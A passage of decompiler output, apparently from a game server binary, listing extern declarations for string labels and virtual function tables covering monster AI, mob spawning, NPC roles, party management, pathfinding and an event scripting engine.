aMobattackseq_8[]; // idb extern char last[]; // idb extern char aAttack[]; // idb extern char aAttseq[]; // idb extern char aOrder[]; // idb extern char aMobattackseq_9[]; // idb extern char aMobattackseq_3[]; // idb extern char a__9dataShin_11[]; // idb extern char aMobattackseq_6[]; // idb extern char aMobattackseq_4[]; // idb extern int (__thiscall *MobActionElement::_vftable_)(void *p, char); // weak extern int (__stdcall *MobTargetSelector::_vftable_)(int type, int slot, int distancesquar); // weak extern char aMobactioneleme[]; // idb extern char asc_5B89F4[]; // idb extern char asc_5B8A28[]; // idb extern char aMobthink_chase[]; // idb extern char aPathNotFound[]; // idb extern char aMobactionMa_th[]; // idb extern char asc_5B8ABC[]; // idb extern int (__stdcall *AxialListNearFriend::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNPCTargetFind::_vftable_)(int, int, int distancesquar); // weak extern char aMobtargetsel_3[]; // idb extern char aMobtargetsel_0[]; // idb extern char aMobtargetselec[]; // idb extern char aMobtargetnobra[]; // idb extern int (__stdcall *MobTarget_AggroClear::_vftable_)(int ele, __int16 handle); // weak extern char aMobtarget_ag_1[]; // idb extern char aMobtarget_ag_0[]; // idb extern char aMobtarget_aggr[]; // idb extern char aMobtargetbou_3[]; // idb extern char aMobtargetsel_1[]; // idb extern char aMobtarget_en_0[]; // idb extern int (__thiscall *MobTarget_EnemyAnalysis::_vftable_)(MobTarget_EnemyAnalysis *this, int ele, int handle); // weak extern char aMobtarget_en_2[]; // idb extern char aMobtarget_enem[]; // idb extern char aMobtarget_en_3[]; // idb extern char aMobtarget_en_1[]; // idb extern char aMobtargetbou_1[]; // idb extern char aAxiallistnearf[]; // idb extern char asc_5B8D7C[]; // idb extern char asc_5B8DB4[]; // idb extern char asc_5B8DE8[]; // idb extern char asc_5B8E1C[]; // idb extern char aShineobject_18[]; // idb extern char aShineobject_19[]; // idb extern char asc_5B8EB4[]; // idb extern char asc_5B8EE4[]; // idb extern char aMobtargetboutM[]; // idb extern char aMobtargetbou_5[]; // idb extern char aMobtargetaggre[]; // idb extern char aMobtargetbou_4[]; // idb extern int (*MobChat::MobChatElementBase::_vftable_)(); // weak extern char aMobchatMobc_14[]; // idb extern char aMobchatMobch_2[]; // idb extern char aMobchatMobch_4[]; // idb extern char aMobchatMobch_1[]; // idb extern char aMobchatMobch_0[]; // idb extern char aMobchatMobch_8[]; // idb extern char aMobchatMobch_9[]; // idb extern int (*MobChat::MobChatElement::_vftable_)(); // weak extern int (*MobChat::MobChatElementWander::_vftable_)(); // weak extern char aMobchatMobc_15[]; // idb extern char aMobchatMobc_12[]; // idb extern char aMobchatMobc_11[]; // idb extern char aMobchatMobch_6[]; // idb extern char aMobchatMobc_16[]; // idb extern char aMobchatMobch_7[]; // idb extern char aMobchatMobch_3[]; // idb extern char aMobchatMobc_10[]; // idb extern char aInvalidFlag[]; // idb extern char aMobchatMobch_5[]; // idb extern char aMobindex_0[]; // idb extern char aMobchatMobc_17[]; // idb extern char aRacerescu[]; // idb extern char aHelpsub[]; // idb extern char aHelpmain[]; // idb extern char aDead_0[]; // idb extern char aDamaged[]; // idb extern char aAttack_0[]; // idb extern char aPiece[]; // idb extern char aMobchatMobc_13[]; // idb extern char aMobchatMobchat[]; // idb extern char a__9dataShin_59[]; // idb extern char a__9dataShine_8[]; // idb extern char aMobdeadcount_2[]; // idb extern char aMobdeadcount_0[]; // idb extern char aMobdeadcount_1[]; // idb extern char aMobdeadcountMd[]; // idb extern char asc_5B9498[]; // idb extern char asc_5B94D8[]; // idb extern char asc_5B9514[]; // idb extern int (*EventMobRegen::_vftable_)(); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char asc_5B9580[]; // idb extern char aShineobject_17[]; // idb extern char asc_5B95EC[]; // idb extern char asc_5B9620[]; // idb extern char asc_5B9664[]; // idb extern char aMobregencla_26[]; // idb extern char aMobregencla_20[]; // idb extern int (__thiscall *MobRegenClass::MobBreederGroup::_vftable_[3])(List *this, int hnd); // weak extern char aMobregencla_15[]; // idb extern int (__stdcall *MobBreedRegenEnable::_vftable_)(int, __int16 handle); // weak extern char aMobregencla_24[]; // idb extern char aMobregenclas_9[]; // idb extern char aMobregencla_12[]; // idb extern char aMobregencla_14[]; // idb extern char aMobregenclas_8[]; // idb extern char aMobregenclas_5[]; // idb extern char aMobregenclas_2[]; // idb extern char aMobregenclassM[]; // idb extern char aMobregencla_18[]; // idb extern char asc_5B98F8[]; // idb extern char asc_5B993C[]; // idb extern char aKqregentable_1[]; // idb extern char a__9dataShin_69[]; // idb extern char a__9dataShin_45[]; // idb extern char aKqregentableKq[]; // idb extern char aKqregentable_2[]; // idb extern char aMobDRgnumDHndD[]; // idb extern char aMobregenclas_4[]; // idb extern char aMobregencla_13[]; // idb extern char aMobbreederMb_r[]; // idb extern char aMobregencla_19[]; // idb extern char aMobregencla_17[]; // idb extern char a__9dataShin_48[]; // idb extern char aKqregentable_0[]; // idb extern char szWild[]; // idb extern char aSDDDDDDDDDDDDS[]; // idb extern char aMobregencla_25[]; // idb extern char aMobregenclas_3[]; // idb extern char aMobregencla_27[]; // idb extern char aMobbreederMbg_[]; // idb extern char aMobregencla_21[]; // idb extern char aMobhatcheryM_7[]; // idb extern char aMobhatcheryM_1[]; // idb extern char aMobhatcheryM_3[]; // idb extern int (__stdcall *MobRegenClass::MobRegenGroupList::_vftable_[2])(int hnd); // weak extern char aFamilymobman_0[]; // idb extern char aFamilymobmanag[]; // idb extern char asc_5B9DF8[73]; // weak extern char asc_5B9E48[]; // idb extern char asc_5B9E94[]; // idb extern char asc_5B9EC4[]; // idb extern char asc_5B9EF8[]; // idb extern char aMobregencla_10[]; // idb extern char aMobregencla_23[]; // idb extern char aMobregenclas_7[]; // idb extern char aEventmobregenE[]; // idb extern char aFamilymobman_1[]; // idb extern char aMobregenclas_6[]; // idb extern char aFamilymobman_2[]; // idb extern char aMobbreedergrou[]; // idb extern char aMobbreedergr_0[]; // idb extern char aMobregencla_16[]; // idb extern char aMobregencla_11[]; // idb extern char aMobhatcheryM_6[]; // idb extern char aMobhatcheryM_0[]; // idb extern char aMobregen_0[]; // idb extern char aMobhatcheryM_4[]; // idb extern char aMobhatcheryM_5[]; // idb extern char aMobregengroup[]; // idb extern char a__9dataShine_9[]; // idb extern char a__9dataShin_10[]; // idb extern char aMobhatcheryM_2[]; // idb extern char aMobregenclas_1[]; // idb extern char aMobregenclas_0[]; // idb extern char aMobhatcheryMh_[]; // idb extern char aNpcdeadlog[]; // idb extern char aMobhatcherylog[]; // idb extern char aHuntinglogMobh[]; // idb extern char aHuntinglogMo_0[]; // idb extern char aHuntlogMobhunt[]; // idb extern char aHuntinglogMo_1[]; // idb extern char asc_5BA424[]; // idb extern char aRotate[]; // idb extern char aReturn[]; // idb extern char asc_5BA468[]; // idb extern char aMobroamingMo_3[]; // idb extern char aRoaming[]; // idb extern char aMobroamingMo_0[]; // idb extern char aMobroamingMo_1[]; // idb extern char a__9dataShin_70[]; // idb extern char a__9dataShin_14[]; // idb extern char aMobroamingMobr[]; // idb extern char aScenariobook_5[]; // idb extern char aScenariobook_1[]; // idb extern char aRoamingfile[]; // idb extern char aRoamingdata[]; // idb extern char aMobroamingMo_2[]; // idb extern char a__9dataShin_15[]; // idb extern int (__stdcall *MobTacticElement::MobActionBase::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::MobActionInMove::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::DuringReturn2Regen::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::MobActionInChase::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::MobActionInMove_Cancelable::_vftable_[2])(int argument); // weak extern int (__thiscall *MobTacticElement::MobActionWander::_vftable_)(MobTacticElement::MobActionBase *, int argument); // weak extern int (__stdcall *MobTacticElement::MobActionTargetting::_vftable_[2])(int argument); // weak extern int (__thiscall *MobTacticElement::MobActionTurning::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__thiscall *MobTacticElement::MobActionAttack::_vftable_)(MobTacticElement::MobActionAttack *this, int argument); // weak extern int (__thiscall *MobTacticElement::MobActionChase::_vftable_)(MobTacticElement::MobActionBase *, int argument); // weak extern int (__thiscall *MobTacticElement::MobAction2Region::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__thiscall *MobTacticElement::MobActionBackStep::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__thiscall *MobTacticElement::MobActionAvoidOverlap::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__stdcall *MobTacticElement::MobActionWaitSkillEnd::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::MobActionSwingDamage::_vftable_[2])(int argument); // weak extern int (__thiscall *MobTacticElement::MobActionRoaming::_vftable_)(MobTacticElement::MobActionBase *, int argument); // weak extern int (__stdcall *MobTacticElement::MobActionNoBrain::_vftable_[2])(int argument); // weak extern char aMobtacticeleme[]; // idb extern char aMobtacticel_11[]; // idb extern char aMobtacticele_3[]; // idb extern char aMobtacticele_4[]; // idb extern char aMobtacticele_1[]; // idb extern char aMobtacticel_15[]; // idb extern char aMobtacticel_20[]; // idb extern char aMobtacticel_14[]; // idb extern char aMobtacticele_8[]; // idb extern char aMobtacticel_18[]; // idb extern char aMobtacticele_2[]; // idb extern char aMobtacticele_9[]; // idb extern char aMobtacticel_13[]; // idb extern char aMobtacticele_5[]; // idb extern char aMobtacticel_16[]; // idb extern char asc_5BABB8[]; // idb extern char asc_5BAC0C[]; // idb extern char asc_5BAC48[]; // idb extern char asc_5BAC98[]; // idb extern char asc_5BACD0[]; // idb extern char asc_5BAD24[]; // idb extern char aMobtacticele_0[]; // idb extern char aMobtacticele_7[]; // idb extern char aMobtacticel_19[]; // idb extern char aMobtacticel_10[]; // idb extern char aMobtacticel_12[]; // idb extern int (__stdcall *MobTargetBout::_vftable_)(int type, int slot, int distancesquar); // weak extern int (__thiscall *MobTargetAggresive::_vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); // weak extern int (__thiscall *MobTargetAggresive2::_vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); // weak extern int (__stdcall *MobTargetNoBrain::_vftable_)(int type, int slot, int distancesquar); // weak extern int (__stdcall *MobAggroManager::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *SlayerCollect::_vftable_)(int ele, __int16 handle); // weak extern char aMovemanagerM_3[]; // idb extern int (__stdcall *AxialListBriefExchangerAtMove::_vftable_)(#325 *myself, int, int distancesquar); // weak extern int (__stdcall *AxialListBriefDeleteAtMove::_vftable_)(int, int, int distancesquar); // weak extern char aMovemanagerMm_[]; // idb extern char aMovemanagerM_1[]; // idb extern char aMovemanagerM_2[]; // idb extern char asc_5BB054[]; // idb extern char asc_5BB0F4[]; // idb extern char asc_5BB130[]; // idb extern char aShineobject_15[]; // idb extern char aG_moveblockche[]; // idb extern char aG_findempty[]; // idb extern char asc_5BB1BC[]; // idb extern char aShineobject_16[]; // idb extern char asc_5BB224[]; // idb extern char aMovemanagerM_0[]; // idb extern char asc_5BB270[]; // idb extern char aMultihitdata_1[]; // idb extern char aMultihitdata_3[]; // idb extern char aMultihitdata_0[]; // idb extern char aMultihitdataMu[]; // idb extern char aMultihitdata_2[]; // idb extern char a__9dataShineMu[]; // idb extern int (__stdcall *AxialListNearScanEnemyorAll::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistnea_4[46]; // weak extern char aAxiallistnea_0[]; // idb extern char aNpcrolebaseN_2[]; // idb extern char asc_5BB434[]; // idb extern char aLevellimit[]; // idb extern char aGuild_0[]; // idb extern char aWeapontitle[]; // idb extern char aItem[]; // idb extern char aSkill[]; // idb extern char aWeapon[]; // idb extern char aSoulstone[]; // idb extern char aNpcrole_merc_4[]; // idb extern char aNpcrole_merc_6[]; // idb extern char aNpcrole_menu_1[]; // idb extern char aNpcrole_menuop[]; // idb extern char aNpcrole_mer_14[]; // idb extern char aNpcrole_menu_0[]; // idb extern char asc_5BB758[]; // idb extern char asc_5BB7A0[]; // idb extern char asc_5BB7D8[]; // idb extern char asc_5BB820[]; // idb extern char asc_5BB850[]; // idb extern char asc_5BB8AC[]; // idb extern char asc_5BB8E8[]; // idb extern char aNpcitemlistIte[]; // idb extern char aNpcitemlistI_2[]; // idb extern char aNpcitemlistI_0[]; // idb extern char aTDRDCD[]; // idb extern char aNpcitemlistI_1[]; // idb extern char aRec[]; // idb extern char aColumn02d[]; // idb extern char aTab02d[]; // idb extern char aNpcitemlistN_3[]; // idb extern char aNpcitemlistN_1[]; // idb extern char aNpcitemlistN_2[]; // idb extern char a__9dataShineNp[]; // idb extern char aNpcitemlistN_0[]; // idb extern char aNpcitemlistNpc[]; // idb extern int (__stdcall *NPCRoleBase::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern char aNpcrolebaseN_1[]; // idb extern int (__stdcall *NPCRole_JobManager::_vftable_)(int nLocation, int LocationX, int LocationY); // weak extern int (__stdcall *NPCRole_Portal::_vftable_)(int, int npcfunc, int npchandle); // weak extern int (__stdcall *NPCRole_ID_Portal::_vftable_)(#325 *, int npcfunc, __int16 Inv); // weak extern int (__stdcall *NPCRole_StoreManager::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern int (__thiscall *NPCRole_Merchant::_vftable_)(NPCRole_Merchant *this, #434 *, int npcfunc, int npchandle); // weak extern int (__stdcall *NPCRole_MenuOpen::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern char aErrorAtLinktab[]; // idb extern char aNpcmanagerNm_1[]; // idb extern char aNpcmanagerNm_l[]; // idb extern char aIdgate[]; // idb extern char aNpcmenu[]; // idb extern char aGuard[]; // idb extern char aClientmenu[]; // idb extern char aStoremanager[]; // idb extern char aQuestnpc[]; // idb extern char aGate[]; // idb extern char aJobmanager[]; // idb extern char aMerchant[]; // idb extern char aShinenpc[]; // idb extern char aNpcmanagerNm_0[]; // idb extern char a__9dataShin_68[]; // idb extern char a__9dataShin_35[]; // idb extern char aNpcmanagerNm_2[]; // idb extern char aNpcmanagerNm_4[]; // idb extern char aNpcmanagerNm_3[]; // idb extern char aNpcmanagerNm_s[]; // idb extern char aNpcrole_merc_7[]; // idb extern char aNpcrole_merc_1[]; // idb extern char aNpcrole_mercha[]; // idb extern char aNpcrole_merc_2[]; // idb extern char aNpcrole_merc_5[]; // idb extern char aNpcrole_merc_8[]; // idb extern char aNpcrole_mer_13[]; // idb extern char a__9dataShin_22[]; // idb extern char aMerchantcityda[]; // idb extern char aMerchantcity_0[]; // idb extern char aNotGate[9]; // weak extern char aNpcrolebaseN_0[]; // idb extern char aNpcrole_port_0[]; // idb extern char aNpcrolebaseNrb[]; // idb extern char aNpcrole_portal[]; // idb extern int (__stdcall *OPToolSession::_vftable_)(int interval); // weak extern char aOptoolobjectOp[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aZonelistens_21[]; // idb extern char aOptoolsessio_0[]; // idb extern char aOptoolsessio_5[]; // idb extern char aOptoolsessio_3[]; // idb extern char aOptoolsessionO[]; // idb extern char aOptoolsessio_6[]; // idb extern char aOptoolsessio_4[]; // idb extern char aOptoolsessio_1[]; // idb extern char aOptoolsessio_2[]; // idb extern char aSessionWrong[]; // idb extern char aTooLongPacket[]; // idb extern _UNKNOWN unk_5BC320; // weak extern char aProtocolpack_0[]; // idb extern char aProtocolpacket[]; // idb extern char aPacketcontai_1[]; // idb extern char asc_5BC39C[]; // idb extern char aPacketcontai_2[]; // idb extern char aProtocolpack_1[]; // idb extern char aShineobject_14[]; // idb extern char asc_5BC414[]; // idb extern char aToolongpacket[]; // idb extern char aExceptionlog[]; // idb extern char aParameterClu_0[]; // idb extern char aParameterClust[]; // idb extern char aParameterClu_1[]; // idb extern char aParameterClu_2[]; // idb extern char aParameterConta[]; // idb extern char aShinecommon_10[]; // idb extern char aShinecommonp_4[]; // idb extern char aFreestatmentab[]; // idb extern char aShinecommonp_1[]; // idb extern char aShinecommonp_3[]; // idb extern char aFreestatdextab[]; // idb extern char aShinecommonp_5[]; // idb extern char aShinecommonp_7[]; // idb extern char aFreestatcontab[]; // idb extern char aShinecommonp_6[]; // idb extern char aShinecommonpar[]; // idb extern char aFreestatinttab[]; // idb extern char aShinecommonp_8[]; // idb extern char aShinecommonp_9[]; // idb extern char aFreestatstrtab[]; // idb extern char aStat[]; // idb extern char aShinecommon_12[]; // idb extern char aShinecommonp_0[]; // idb extern char aStattable[]; // idb extern char aLevel_1[]; // idb extern char aShinecommon_13[]; // idb extern char aShinecommon_11[]; // idb extern char aMaxbufftime[]; // idb extern char aAddbufftime[]; // idb extern char aIntervaltime[]; // idb extern char aDefaultbonusti[]; // idb extern char aMinneedtime[]; // idb extern char aRestexprate[]; // idb extern char aMaxexpbonus[]; // idb extern char aShoutdelay[]; // idb extern char aAttackspeed[]; // idb extern char aShoutlevel[]; // idb extern char aWalkspeed[]; // idb extern char aArgument[]; // idb extern char aCommon[]; // idb extern char aKey[]; // idb extern char content[]; // idb extern char aPrimaryparamet[]; // idb extern char a__9dataShin_30[]; // idb extern char a__9dataShin_66[]; // idb extern char aShinecommonp_2[]; // idb extern char aFillrandomopti[]; // idb extern char aFillrandomop_0[]; // idb extern char asc_5BCA90[]; // idb extern char asc_5BCAD8[]; // idb extern char asc_5BCB0C[]; // idb extern char asc_5BCB44[]; // idb extern char aTbDDDDDDDDD[]; // idb extern char aThDDDDDDDDD[30]; // weak extern char aAcDDDDDDDDD[30]; // weak extern char aWcmaxDDDDDDDDD[33]; // weak extern char aWcminDDDDDDDDD[33]; // weak extern char aMenDDDDDDDDD[31]; // weak extern char aIntDDDDDDDDD[31]; // weak extern char aDexDDDDDDDDD[31]; // weak extern char aConDDDDDDDDD[31]; // weak extern char aStrDDDDDDDDD[31]; // weak extern char asc_5BCCC0[]; // idb extern char asc_5BCCF0[]; // idb extern char aWorldmanage_21[]; // idb extern char asc_5BCD7C[]; // idb extern char aWorldmanage_47[]; // idb extern char aWorldmanagerse[]; // idb extern char aWorldmanager_0[]; // idb extern char aWorldmanage_66[]; // idb extern char aPartymanufac_5[]; // idb extern char aPartymanufa_15[]; // idb extern char aPartymanufa_14[]; // idb extern char aPartymanufa_10[]; // idb extern char aPartymanufa_12[]; // idb extern char aPartymanufac_4[]; // idb extern char aPartymanufactu[58]; // weak extern char aPartymanufac_0[55]; // weak extern char aPartymanufac_6[]; // idb extern char aPartymanufac_2[]; // idb extern char aPartymanufac_7[]; // idb extern char aPartymanufa_13[]; // idb extern char aPartymanufa_11[]; // idb extern char aPartymanufac_8[]; // idb extern char aPartymanufac_3[]; // idb extern char aPartymanufac_1[]; // idb extern char aPartymanufac_9[]; // idb extern char aRegnumDHndzDHn[]; // idb extern char aPartyMemberD[]; // idb extern char aNullParty[11]; // weak extern char aPartyregnumDCh[]; // idb extern char asc_5BD218[]; // idb extern char asc_5BD250[]; // idb extern char asc_5BD27C[]; // idb extern char aWorldmanage_74[]; // idb extern char asc_5BD2E8[]; // idb extern char asc_5BD338[]; // idb extern char asc_5BD370[]; // idb extern char aWorldmanage_11[]; // idb extern char asc_5BD3E0[]; // idb extern char aWorldmanage_92[]; // idb extern char aWorldmanage_54[]; // idb extern char aWorldmanage_52[]; // idb extern char aWorldmanage_85[]; // idb extern char aPathfindtableO[]; // idb extern char aLinearstepLs_s[]; // idb extern int (__thiscall *Tracer::_vftable_)(void *p, char); // weak extern int (__thiscall *LinearStep::_vftable_)(void *p, char); // weak extern int (__stdcall *ListIteratorDefault::_vftable_)(int ele, __int16 handle); // weak extern int (__stdcall *ListEraser::_vftable_)(int ele, int handle); // weak extern char aLinearstepT_co[]; // idb extern int (__thiscall *CellStack::_vftable_)(void *p, char); // weak extern char aCellstackCs__0[]; // idb extern char aCellstackCs_pu[]; // idb extern char aCellstackT_con[]; // idb extern int (__stdcall *MinWeightSearching::_vftable_)(int ele, __int16 handle); // weak extern char aMinweightsearc[]; // idb extern char aCellstackT_tra[]; // idb extern char aNoPath[]; // idb extern char aCellstackCs_se[]; // idb extern char aLinearstepT_tr[]; // idb extern char aPerformanceche[]; // idb extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_)(void *p, char); // weak extern char aProtocolfuncti[]; // idb extern char aProtocolfunc_0[]; // idb extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[5])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[4])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[3])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_[2])(void *p, char); // weak extern int (__thiscall *PROTOCOLFUNCTIONTEMPLETE::_vftable_)(void *p, char); // weak extern int (*PineEventScriptNode::ScriptAtom::_vftable_)(); // weak extern int (__stdcall *PineEventScriptNode::CalculateOperator::_vftable_)(int tr); // weak extern int (__thiscall *PineEventScriptNode::CompareOperator::_vftable_)(PineEventScriptNode::CompareOperator *this, int tr); // weak extern int (__stdcall *PineEventScriptNode::SysFuncBase::_vftable_[26])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncRand::_vftable_[25])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncSQRT::_vftable_[24])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncDistance::_vftable_[23])(int buffer, int x2, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineMobRegen::_vftable_[22])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineDoorBuild::_vftable_[21])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineNPCStand::_vftable_[20])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineChange2Mob::_vftable_[19])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineChange2Door::_vftable_[18])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineChange2NPC::_vftable_[17])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCount::_vftable_[16])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineRestSecond::_vftable_[15])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCharClass::_vftable_[14])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCharName::_vftable_[13])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineDeadNumber::_vftable_[12])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineCircularScatter::_vftable_[11])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineRemoveFisrt::_vftable_[10])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineGetObjectList::_vftable_[9])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineKQResultList::_vftable_[8])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineKQTop::_vftable_[7])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineDistance::_vftable_[6])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShinePlayerInArea::_vftable_[5])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineRange::_vftable_[4])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineIsGateUse::_vftable_[3])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineGetWinnerGuild::_vftable_[2])(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::SysFuncShineGetLoseGuild::_vftable_)(int buffer, int ps, int argumentlist); // weak extern int (__stdcall *PineEventScriptNode::String::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Number::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Id::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Identify::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ArgumentList::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Term::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Statement::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::BlockName::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateBreak::_vftable_)(int tr); // weak extern char aFileEndInStrin[19]; // weak extern char aStringOverLine[17]; // weak extern char aTooManyStateme[]; // idb extern char aPinescriptstac[]; // idb extern char aVariableStackO[]; // idb extern int (__stdcall *std::basic_ostream>::_vftable_)(char); // weak extern int (__thiscall *std::basic_ios>::_vftable_)(void *p, char); // weak extern int (__stdcall *std::basic_istream>::_vftable_[2])(char); // weak extern int (__stdcall *std::basic_iostream>::_vftable_)(char); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__thiscall *std::ctype::_vftable_)(void *p, char); // weak extern char locname[]; // idb extern int (__stdcall *PineEventScriptNode::SystemFunction::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Express::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::Condition::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateIf::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateCall::_vftable_)(int tr); // weak extern char aMain[5]; // weak extern char aNumberReadFail[17]; // weak extern char aNullVariable[]; // idb extern int (__thiscall *std::basic_streambuf>::_vftable_)(void *p, char); // weak extern int (__thiscall *std::basic_stringbuf_std::allocator>::_vftable_)(void *p, char); // weak extern char Message[]; // idb extern int (__thiscall *std::num_put>>::_vftable_)(void *p, char); // weak extern int (__stdcall *PineEventScriptNode::StatementBaseExpress::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StatePrint::_vftable_)(int tr); // weak extern char command[]; // idb extern char aPineeventsc_29[]; // idb extern char aUnexpectedEof[15]; // weak extern int (__stdcall *std::basic_stringstream_std::allocator>::_vftable_)(char); // weak extern int (__stdcall *PineEventScriptNode::Block::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateVarDeclear::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateInfinite::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateWhile::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StatePermillage::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::StateAssignment::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::OtherStatement::_vftable_)(int tr); // weak extern char asc_5BDB9C[2]; // weak extern char asc_5BDBA0[]; // idb extern char asc_5BDBA4[]; // idb extern char asc_5BDBA8[]; // idb extern char aGetloseguild[]; // idb extern char aGetwinnerguild[]; // idb extern char aIsgateuse[]; // idb extern char aRange[]; // idb extern char aPlayerinarea[]; // idb extern char aDistancebetwee[]; // idb extern char aKqtoplist[]; // idb extern char aKqresultlist[]; // idb extern char aGetobjectlist[]; // idb extern char aRemovefirst[]; // idb extern char aCircularscatte[]; // idb extern char aDeathnum[]; // idb extern char aCharname[]; // idb extern char aCharclass[]; // idb extern char aRestsec[]; // idb extern char aCount[]; // idb extern char aChange2npc[]; // idb extern char aChange2door[]; // idb extern char aChange2mob[]; // idb extern char aNpcstand[]; // idb extern char aDoorbuild_0[]; // idb extern char aMobregen[]; // idb extern char aRandom[]; // idb extern char aDistance[]; // idb extern char aSquarroot[]; // idb extern char a_[2]; // weak extern char aClose[6]; // weak extern char aOpen[5]; // weak extern char aVarNotInit[]; // idb extern char a__0[]; // idb extern char aVar[4]; // weak extern char aInfinite[9]; // weak extern char aWhile[6]; // weak extern char aBreak[6]; // weak extern char aCall[5]; // weak extern char aPermillage[11]; // weak extern char asc_5BDD80[2]; // weak extern char name[]; // idb extern int (__thiscall *PineEventScriptNode::ScriptParameterPaser::_vftable_)(void *p, char); // weak extern char aElse[]; // idb extern char aThen[]; // idb extern char aIf[3]; // weak extern _UNKNOWN std::basic_iostream>::_vbtable_; // weak extern _UNKNOWN std::basic_iostream>::_vbtable_; // weak extern int (__thiscall *std::numpunct::_vftable_)(void *p, char); // weak extern char aTrue[]; // idb extern char aFalse[]; // idb extern int (__stdcall *PineEventScriptNode::Script::_vftable_)(int tr); // weak extern _UNKNOWN std::basic_stringstream_std::allocator>::_vbtable_; // weak extern _UNKNOWN std::basic_stringstream_std::allocator>::_vbtable_; // weak extern char Spec[]; // idb extern char aLu[]; // idb extern char aLd[]; // idb extern char aLu_0[]; // idb extern char aE[2]; // weak extern char aE_0[2]; // weak extern char aP[]; // idb extern char Val[]; // idb extern char aMovieTheater_4[]; // idb extern int (__stdcall *AxialListMobCounter::_vftable_[3])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListMobInAreaCounter::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListObjectList::_vftable_)(int, int, int distancesquar); // weak extern char aMovieTheater_7[]; // idb extern char aScriptmobbre_4[]; // idb extern char aScriptmobbre_5[]; // idb extern 